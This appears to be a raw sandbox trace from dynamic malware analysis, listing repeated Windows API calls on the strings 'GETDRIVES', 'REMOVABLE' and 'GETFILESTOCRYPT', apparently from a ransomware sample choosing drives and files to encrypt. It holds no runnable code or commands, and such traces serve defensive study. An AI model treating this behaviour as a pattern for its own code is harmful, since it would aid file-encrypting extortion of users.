CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.466] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.466] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.466] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.466] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.473] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.473] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.473] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.473] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.473] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.475] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.475] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.475] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.475] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.476] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.476] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.476] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.476] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.476] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.477] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.477] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.477] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.477] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.477] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.477] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.477] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.477] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.477] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.478] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.478] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.478] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.478] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.479] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.479] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.479] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.493] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.493] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.494] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.494] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.494] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.494] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.494] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.494] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.494] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.494] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.494] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.495] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.495] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.495] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.495] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.495] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.495] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.495] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.496] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.496] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.496] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.496] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.496] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.496] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.496] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.496] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.496] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.497] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.497] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.497] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.497] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.497] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.497] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.497] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.498] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.498] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.498] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.498] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.498] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.498] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.498] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.498] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.499] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.499] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.499] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.499] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.500] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.500] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.500] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.500] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.500] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.500] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.501] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.501] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.501] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.501] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.501] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.502] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.502] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.502] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.502] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.502] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.502] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.502] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.502] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.502] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.502] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.508] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.509] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.509] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.509] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.509] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.509] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.509] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.509] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.509] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.510] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.510] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.510] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.510] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.510] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.510] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.510] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.510] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.510] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.510] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.511] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.511] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.511] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.511] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.511] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.512] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.512] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.512] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.512] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.512] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.512] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.512] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.512] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.512] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.514] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.514] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.514] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.515] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.515] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.515] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.515] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.515] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.515] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.516] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.516] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.516] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.516] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.516] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.517] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.517] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.517] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.517] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.517] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.517] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.518] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.518] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.518] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.518] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.519] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.519] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.519] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.519] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.519] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.520] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.520] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.520] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.520] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.520] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.520] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.521] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.521] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.521] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.521] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.521] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.522] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.522] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.522] 